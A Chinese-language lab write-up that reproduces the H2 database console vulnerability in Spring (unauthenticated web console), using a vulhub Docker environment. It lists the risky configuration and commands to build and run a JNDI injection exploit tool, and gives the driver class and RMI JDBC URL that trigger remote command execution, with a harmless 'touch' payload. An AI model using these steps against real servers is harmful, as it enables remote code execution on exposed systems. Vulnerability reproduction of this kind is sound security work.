漏洞概述:
H2 database是一款Java記憶體資料庫,多用于單元測試。H2 database自帶一個Web管理頁面,在Spirng開發中,如果我們設定如下選項,即可允許外部使用者通路Web管理頁面,且沒有鑒權:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用這個管理頁面,我們可以進行JNDI注入攻擊,進而在目标環境下執行任意指令。
環境搭建
使用vulhub來安裝環境
進入h2database//h2-console-unacc目錄
docker-compose
build
docker-compose up -d
通路http://your-ip:8080/h2-console即可檢視到H2 database的管理頁面。
漏洞複現
Poc位址:
https://github.com/welk1n/JNDI-Injection-Exploit/#examples
使用git拉取,并用maven編譯——安裝maven教程:https://www.cnblogs.com/datangguott/p/14211357.html
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests
編譯好後,進入target目錄,運作jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 127.0.0.1
Driver Class:填javax.naming.InitialContext
JDBC URL填rmi://127.0.0.1:1099/cziwap
然後連接配接
這裡測試了一下,沒成功,我又把127.0.0.1改成了自己的主機IP:
指令已經執行——即POC中的
修複建議
更新到安全版本